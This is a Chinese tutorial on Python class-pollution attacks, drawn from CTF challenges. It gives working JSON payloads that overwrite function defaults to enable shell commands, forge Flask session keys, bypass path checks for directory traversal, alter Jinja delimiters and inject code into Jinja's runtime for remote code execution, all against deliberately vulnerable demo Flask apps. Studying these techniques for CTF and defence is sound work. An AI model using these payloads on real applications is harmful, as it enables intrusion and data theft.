就像Javascript
的原型链污染一样,同样需要一个数值合并函数将特定值污染到类的属性当中,一个标准示例如下:
1 2 3 4 5 6 7 8 9 10 11 12 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
由于Python
中的类会继承父类中的属性,而类中声明(并不是实例中声明)的属性是唯一的,所以我们的目标就是这些在多个类、示例中仍然指向唯一的属性,如类中自定义属性及以__
开头的内置属性等
先以自定义属性为例子:
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修改内置属性也是类似:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 class father : pass class son_a (father ): pass class son_b (father ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) instance = son_b() payload = { "__class__" : { "__base__" : { "__str__" : "Polluted ~" } } }print (father.__str__) merge(payload, instance)print (father.__str__)
正如前面所述,并不是所有的类的属性都可以被污染,如Object
的属性就无法被污染,所以需要目标类能够被切入点类或对象可以通过属性值查找获取到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) payload = { "__class__" : { "__str__" : "Polluted ~" } } merge(payload, object )
在代码展示部分所给出的例子中,污染类属性是通过示例的__base__
属性查找到其继承的父类,但是如果目标类与切入点类或实例没有继承关系时,这种方法就显得十分无力
在Python
中,函数或类方法(对于类的内置方法如__init__
这些来说,内置方法在并未重写时其数据类型为装饰器即wrapper_descriptor
,只有在重写后才是函数function
)均具有一个__globals__
属性,该属性将函数或类方法所申明的变量空间中的全局变量以字典的形式返回(相当于这个变量空间中的globals
函数的返回值
1 2 3 4 5 6 7 8 9 10 11 secret_var = 114 def test (): pass class a : def __init__ (self ): pass print (test.__globals__ == globals () == a.__init__.__globals__)
所以我们可以使用__globlasl__
来获取到全局变量,这样就可以修改无继承关系的类属性甚至全局变量
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局限于当前模块的全局变量获取显然不够,很多情况下需要对并不是定义在入口文件中的类对象或者属性,而我们的操作位置又在入口文件中,这个时候就需要对其他加载过的模块来获取了
在加载关系简单的情况下,我们可以直接从文件的import
语法部分找到目标模块,这个时候我们就可以通过获取全局变量来得到目标模块
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如CTF
题目等实际环境中往往是多层模块导入,甚至是存在于内置模块或三方模块中导入,这个时候通过直接看代码文件中import
语法查找就十分困难,而解决方法则是利用sys
模块
sys
模块的modules
属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块
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当然我们去使用的Payload
绝大部分情况下是不会这样的,如上的Payload
实际上是在已经import sys
的情况下使用的,而大部分情况是没有直接导入的,这样问题就从寻找import
特定模块的语句 转换为寻找import
了sys模块的语句 ,对问题解决的并不见得有多少优化
为了进一步优化,这里采用方式是利用Python
中加载器loader
,在官方文档中给出的定义是:
简单来说就是为实现模块加载而设计的类,其在importlib
这一内置模块中有具体实现。令人庆幸的是importlib
模块下所有的py
文件中均引入了sys
模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 print ("sys" in dir(__import__("importlib.__init__" ) ))#True print ("sys" in dir(__import__("importlib._bootstrap" ) ))#True print ("sys" in dir(__import__("importlib._bootstrap_external" ) ))#True print ("sys" in dir(__import__("importlib._common" ) ))#True print ("sys" in dir(__import__("importlib.abc" ) ))#True print ("sys" in dir(__import__("importlib.machinery" ) ))#True print ("sys" in dir(__import__("importlib.metadata" ) ))#True print ("sys" in dir(__import__("importlib.resources" ) ))#True print ("sys" in dir(__import__("importlib.util" ) )) #True
所以只要我们能过获取到一个loader
便能用如loader.__init__.__globals__['sys']
的方式拿到sys
模块,这样进而获取目标模块。
那loader
好获取吗?答案是肯定的。依据官方文档的说明,对于一个模块来说,模块中的一些内置属性会在被加载时自动填充:
__loader__
内置属性会被赋值为加载该模块的loader
,这样只要能获取到任意的模块便能通过__loader__
属性获取到loader
,而且对于python3
来说除了在debug
模式下的主文件中__loader__
为None
以外,正常执行的情况每个模块的__loader__
属性均有一个对应的类
__spec__
内置属性在Python 3.4
版本引入,其包含了关于类加载时的信息,本身是定义在Lib/importlib/_bootstrap.py
的类ModuleSpec
,显然因为定义在importlib
模块下的py
文件,所以可以直接采用<模块名>.__spec__.__init__.__globals__['sys']
获取到sys
模块
由于ModuleSpec
的属性值设置,相对于上面的获取方式,还有一种相对长的payload
的获取方式,主要是利用ModuleSpec
中的loader
属性。如属性名所示,该属性的值是模块加载时所用的loader
,在源码中如下所示:
所以有这样的相对长的Payload
:<模块名>.__spec__.loader.__init__.__globals__['sys']
依据原博主所述,目前发现了Pydash
模块中的set_
和set_with
函数具有如上实例中merge
函数类似的类属性赋值逻辑,能够实现污染攻击。idekctf 2022*
中的task manager
这题就设计使用该函数提供可以污染的环境
根据原博主文章中的相关内容以及idekctf 2022*
的task manager
中的解题方法等,将这些内容部分涉及到的特定值通过简单环境示例的方式给出简单讲解
主要用到了函数的__defaults__
和__kwdefaults__
这两个内置属性
__defaults__
以元组的形式按从左到右的顺序收录了函数的位置或键值形参的默认值,需要注意这个位置或键值形参是特定的一类形参,并不是位置形参+键值形参,关于函数的参数分类可以参考这篇文章:python函数的位置参数(Positional)和关键字参数(keyword) - 知乎 (zhihu.com)
1.仅位置参数(positional-only):
在 / 之前定义的参数, 传参时不带变量名. 这个在 python 3.8 中可以自己定义, 不过内置函数早已经使用这种方法了, 可参考 help() 输出的内部函数说明.
2. 位置或关键字参数(positional_or_keyword):
在 / 后面和 * 号前面定义的参数, 即我们自定义函数时最常用的. 传参时可以把它当作位置参数或关键字参数看待, 可以带变量名也可以不带. 这就是我们自定义的函数与内置函数的区别之处了, 这一点最迷惑人.
3. 集合位置参数(var_positional):
即函数定义时采用 *args 指定的参数. 我们一般都把它理解为”可变参数”, 实际上理解为”集合位置参数”最精确. 传参时不能带变量名.
注意: 根据”关键字参数不能在位置参数前面”的原则, *args 会将之前的参数全部转化为 位置参数, 之后的参数全部转化为 关键字参数
*4.仅关键字参数(keyword-only):*
在 * 后面定义的参数(或在 *args 后面定义, … 类似于 *args). 传参时必需带变量名.
*5.集合关键字参数(var_keyword):*
即函数定义时采用 **args 指定的参数. 它可以接受我们传入的任意个数的关键字参数. 传参时必须带变量名.
注意: 传递参数时, “关键字参数不能在位置参数前面”, 否则就会报错. 根据这条原则, 那么上述顺序也应该是 parameter 定义的顺序了.
另外根据定义时是否有默认参数, 又可分为两种修饰类型, 它们不影响参数的基本类型定义:
必需参数: 定义时没有默认值的参数, 调用时不可省略.
可选参数: 定义时有默认值的参数, 调用时可省略.
从代码上来看,则是如下的效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def func_a(var_1, var_2 =2, var_3 = 3): pass def func_b(var_1, /, var_2 =2, var_3 = 3): pass def func_c(var_1, var_2 =2, *, var_3 = 3): pass def func_d(var_1, /, var_2 =2, *, var_3 = 3): pass print(func_a.__defaults__)# (2, 3) print(func_b.__defaults__)# (2, 3) print(func_c.__defaults__)# (2,) print(func_d.__defaults__)# (2,)
通过替换该属性便能实现对函数位置或键值形参的默认值替换,但稍有问题的是该属性值要求为元组类型,而通常的如JSON
等格式并没有元组这一数据类型设计概念,这就需要环境中有合适的解析输入的方式
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__kwdefaults__
以字典的形式按从左到右的顺序收录了函数键值形参的默认值,从代码上来看,则是如下的效果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def func_a (var_1, var_2 =2 , var_3 = 3 ): pass def func_b (var_1, /, var_2 =2 , var_3 = 3 ): pass def func_c (var_1, var_2 =2 , *, var_3 = 3 ): pass def func_d (var_1, /, var_2 =2 , *, var_3 = 3 ): pass print (func_a.__kwdefaults__)print (func_b.__kwdefaults__)print (func_c.__kwdefaults__)print (func_d.__kwdefaults__)
通过替换该属性便能实现对函数键值形参的默认值替换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 def evilFunc (arg_1 , * , shell = False ): if not shell: print (arg_1) else : print (__import__ ("os" ).popen(arg_1).read())class cls : def __init__ (self ): pass def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) instance = cls() payload = { "__init__" : { "__globals__" : { "evilFunc" : { "__kwdefaults__" : { "shell" : True } } } } } evilFunc("whoami" ) merge(payload, instance) evilFunc("whoami" )
可以实现多种利用方式,如NCTF2022
中calc
考点对os.system
的利用,结合LD_PRELOAD
与文件上传.so
实现劫持等
决定flask
的session
生成的重要参数,知道该参数可以实现session
任意伪造
给出示范环境如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from flask import Flask,requestimport json app = Flask(__name__)def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)class cls (): def __init__ (self ): pass instance = cls()@app.route('/' ,methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) return "[+]Config:%s" %(app.config['SECRET_KEY' ]) app.run(host="0.0.0.0" )
正常访问:
使用如下的Payload
:
1 2 3 4 5 6 7 8 9 10 11 { "__init__" : { "__globals__" : { "app" : { "config" : { "SECRET_KEY" :"Polluted~" } } } } }
用于判定是否某次请求为自Flask
启动后第一次请求,是Flask.got_first_request
函数的返回值,此外还会影响装饰器app.before_first_request
的调用,依据源码可以知道_got_first_request
值为假时才会调用:
给出示范环境如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from flask import Flask,requestimport json app = Flask(__name__)def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)class cls (): def __init__ (self ): pass instance = cls() flag = "Is flag here?" @app.before_first_request def init (): global flag if hasattr (app, "special" ) and app.special == "U_Polluted_It" : flag = open ("flag" , "rt" ).read()@app.route('/' ,methods=['POST' , 'GET' ] ) def index (): if request.data: merge(json.loads(request.data), instance) global flag setattr (app, "special" , "U_Polluted_It" ) return flag app.run(host="0.0.0.0" ) flag{U_Find_Me}
before_first_request
修饰的init
函数只会在第一次访问前被调用,而其中读取flag
的逻辑又需要访问路由/
后才能触发,这就构成了矛盾。所以需要使用payload
在访问/
后重置_got_first_request
属性值为假,这样before_first_request
才会再次调用。
直接访问没有flag
携带Payload
重置_got_first_request
属性值为假
1 init`函数被触发,且其中读取`flag`的相关逻辑被执行,这样就获得了`flag
这个属性中存放的是flask
中静态目录的值,默认该值为static
。访问flask
下的资源可以采用如http://domain/static/xxx
,这样实际上就相当于访问_static_url_path
目录下xxx
的文件并将该文件内容作为响应内容返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #static/index.html <html> <h1>hello</h1> <body> </body> </html> #app .py from flask import Flask,request import jsonapp = Flask(__name__) def merge (src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get (k) and type (v) == dict: merge (v, dst.get (k)) else : dst[k] = v elif hasattr(dst, k) and type (v) == dict: merge (v, getattr(dst, k)) else : setattr(dst, k, v)class cls(): def __init__(self): pass instance = cls() @app .route('/',methods=['POST ', 'GET']) def index (): if request.data: merge (json.loads(request.data), instance) return "flag in ./flag but heres only static/index.html" app .run (host="0.0.0.0" ) #flag flag{U_Find_Me}
此时http://domain/static/xxx
只能访问到文件系统当前目录下static
目录中的xxx
文件,并且不存在如目录穿越的漏洞
污染该属性为当前目录。这样就能访问到当前目录下的flag
文件了
这个os
模块下的变量会影响flask
的模板渲染函数render_template
的解析,所以也收录在flask
部分,模拟的环境如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 #templates/index.html <html> <h1>hello</h1> <body> </body> </html> #app.py from flask import Flask,request,render_template import json import os app = Flask(__name__) def merge (src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__' ): if dst.get(k) and type (v) == dict: merge (v, dst.get(k)) else : dst[k] = v elif hasattr(dst, k) and type (v) == dict: merge (v, getattr(dst, k)) else : setattr(dst, k, v) class cls(): def __init__(self ): pass instance = cls() @app.route('/' ,methods=['POST' , 'GET' ]) def index (): if request.data: merge (json.loads(request.data), instance) return "flag in ./flag but u just can use /file to vist ./templates/file" @app.route("/<path:path>" ) def render_page(path ): if not os.path .exists ("templates/" + path ): return "not found" , 404 return render_template(path ) app.run(host="0.0.0.0" ) #flag flag{U_Find_Me}
直接访问http://domain/xxx
时会使用render_tempaltes
渲染templates/xxx
文件
如果尝试目录穿越则会导致render_template
函数报错
根据报错信息的调用栈可以来到这段代码
跟进95行的get_source
函数,来到Lib/site-packages/jinja2/loaders.py
继续跟进195行的split_template_path
函数
结合函数注释可以了解到这个函数将会把传入的模板路径按照/
进行分割,在34行的逻辑判断上决定了(其余的部分逻辑值基本为假)整个if
语句是否为真,显然需要改语句为假避免触发34行的raise
。34行中的os.path.pardir
值即为..
,所以只要修改该属性为任意其他值即可避免报错,从而实现render_template
函数的目录穿越
修改为无关的!
:
在默认的规则规则下,常用Jinja
语法标识符有{{ Code }}
、{% Code %}
、``,当然对于我们需要RCE
的需求来说,通常前两者才需要留意。而Flask
官方文档中明确告知了,这些语法标识符均是可以依照Jinja
中修改的:
在Jinja
文档中展示了对这些语法标识符进行替换的方法:API — Jinja Documentation (3.1.x) (palletsprojects.com) ,即对Jinja
的环境类的相关属性赋值:
而在Flask
中使用了Flask
类(Lib/site-packages/flask/app.py
)的装饰器装饰后的jinja_env
方法实现上述的功能;
经过装饰器的装饰后,简单来说可以将该方法视为属性,对该方法的获取就能实现方法调用,类似Flask.jinja_env
就相当于Flask.jinja_env()
。
跟进其中调用的create_jinja_environment
,结合注释就可以发现jinja_env
方法返回值就是Jinja
中的环境类(实际上是对原生的Jinja
环境类做了继承,不过在使用上并无多大区别),所以我们可以直接采用类似Flask.jinja_env.variable_start_string = "xxx"
来实现对Jinja
语法标识符进行替换
模拟的环境如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #templates/index.html <html> <h1>Look this -> [[flag]] <- try to make it become the real flag</h1> <body> </body> </html> #app.py from flask import Flask,request,render_templateimport json app = Flask(__name__) def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__' ): if dst.get (k) and type(v) == dict: merge(v, dst.get (k)) else : dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else : setattr(dst, k, v)class cls (): def __init__(self): pass instance = cls()@app .route('/' ,methods=['POST' , 'GET' ]) def index(): if request.data : merge(json.loads(request.data ), instance) return "go check /index before merge it" @app .route('/index' ,methods=['POST' , 'GET' ]) def templates(): return render_template("test.html" , flag = open ("flag" , "rt" ).read()) app.run(host="0.0.0.0" ) #flag flag{U_Find_Me}
访问index
路由会给模板填充flag
变量的值,但是需要应该要语法标识符是{{flag}}
,但这里是[[flag]]
是无法被解析的
这里按照上面所述,修改相应的语法标识符:
1 2 3 4 5 6 7 8 9 10 { "__init__" : { "__globals__" : { "app" : { "jinja_env" :{"variable_start_string" : "[[","variable_end_string ":" ]]" } } } }
这样就成功了吗?并没有,访问index
路由会发现flag
值还是没有被填充进来,也就是语法标识符没有被解析
为什么呢?这里先给出结论,Flask
默认会对一定数量内的模板文件编译渲染后进行缓存,下次访问时若有缓存则会优先渲染缓存,所以输入payload
污染之后虽然语法标识符被替换了,但渲染的内容还是按照污染前语生成的缓存,由于缓存编译时并没有存在flag
变量,所以自然没有被填充flag
。关于模板缓存的相关设置也可以在Jinja
的环境类中设定,在Jinja
的官方文档中可以见到:
所以只需我们在Flask
服务启动后(当然这里演示就是重启下Flask
服务就行了,对于题目来说一般就是重启容器,或是在污染之后再访问模板)先输入payload
再访问index
路由即可:
实际上包括函数、变量、过滤器这三者都能被自定义的添加到Jinja
语法解析时的环境,操作方式于Jinja
语法标识符中完全类似
这里以增加变量为例子给出模拟的环境如下:
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直接访问会由于没有设定permission
值导致if
条件为假返回No way!
而不是flag
所以将其赋值为任意逻辑非空值让条件为真即可
在flask
中如使用render_template
渲染一个模板实际上经历了多个阶段的处理,其中一个阶段是对模板中的Jinja
语法进行解析转化为AST
,而在语法树的根部即Lib/site-packages/jinja2/compiler.py
中CodeGenerator
类的visit_Template
方法纯在一段有趣的逻辑
该逻辑会向输出流写入一段拼接的代码(输出流中代码最终会被编译进而执行),注意其中的exported_names
变量,该变量为.runtime
模块(即Lib/site-packages/jinja2/runtime.py
)中导入的变量exported
和async_exported
组合后得到,这就意味着我们可以通过污染.runtime
模块中这两个变量实现RCE。由于这段逻辑是模板文件解析过程中必经的步骤之一,所以这就意味着只要渲染任意的文件均能通过污染这两属性实现RCE。
给出模拟的环境如下:
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进行RCE
将flag
写入static
目录中
但是需要注意插入payload
的位置是AST的根部分,是作为模板编译时的处理代码的一部分,同样受到模板缓存的影响,也就是说这里插入的payload
只会在模板在第一次访问时触发
然后就能在static
目录下读取到flag
了